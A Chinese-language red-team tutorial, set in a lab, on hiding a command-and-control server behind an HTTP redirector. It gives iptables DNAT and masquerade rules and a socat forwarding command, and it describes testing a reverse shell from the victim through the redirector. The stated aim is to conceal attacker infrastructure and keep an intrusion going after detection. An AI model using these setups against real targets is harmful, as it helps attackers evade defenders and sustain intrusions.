HTTP流量重定向
通过使用iptables或socat等重定向器/流量转发器,隐藏C2服务器
目的
重定向器或流量转发器,实质上是C2服务器与受害者靶机之间的代理。
victim <> re-director <> team server(c2)
其目的主要有二
- 隐藏真实C2服务器的IP地址,换句话说,受害者靶机上只能看到来自重定向器而非C2服务器的流量
- 当受害者靶机检测到C2行为时,只需更换重定向器即可继续进行渗透,无需重新构建C2服务器
使用iptables进行HTTP流量转发
让我们来实现一个简单的HTTP流量转发功能,它仅将指定的特定端口的流量,转发到C2服务器的监听端口上。
我们的实验环境如下:
- C2服务器地址和监听端口:
10.0.0.2:80 - 重定向器地址和监听端口:
10.0.0.5:80 - 受害者靶机:
10.0.0.11
创建HTTP重定向器的一种简单方法是使用Linux自带的iptables命令。
下面显示了如何将一台Linux服务器变成HTTP重定向器。在这个例子中,所有到10.0.0.5:80(重定向器)的HTTP流量都将转发到10.0.0.2:80(C2服务器):
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.2:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1
查看是否成功创建了iptables规则:
实际测试
在受害者靶机执行反弹shell命令,反弹到C2服务器10.0.0.2,使用重定向器10.0.0.5作为代理转发流量。如果重定向器设置成功,我们可以看到受害者靶机10.0.0.11和C2服务器10.0.0.2不会直接进行通讯,所有的流量都会发往10.0.0.5的重定向器。
通过wireshark抓包,我们可以很清楚的看到受害者靶机和C2服务器没有直接通信,所有的流量都发往重定向器。
使用SOCAT进行HTTP转发
SOCAT是一款流量转发工具,实验环境和上文相同。
使用socat设置HTTP重定向器:
socat TCP4-LISTEN:80,fork TCP4:10.0.0.2:80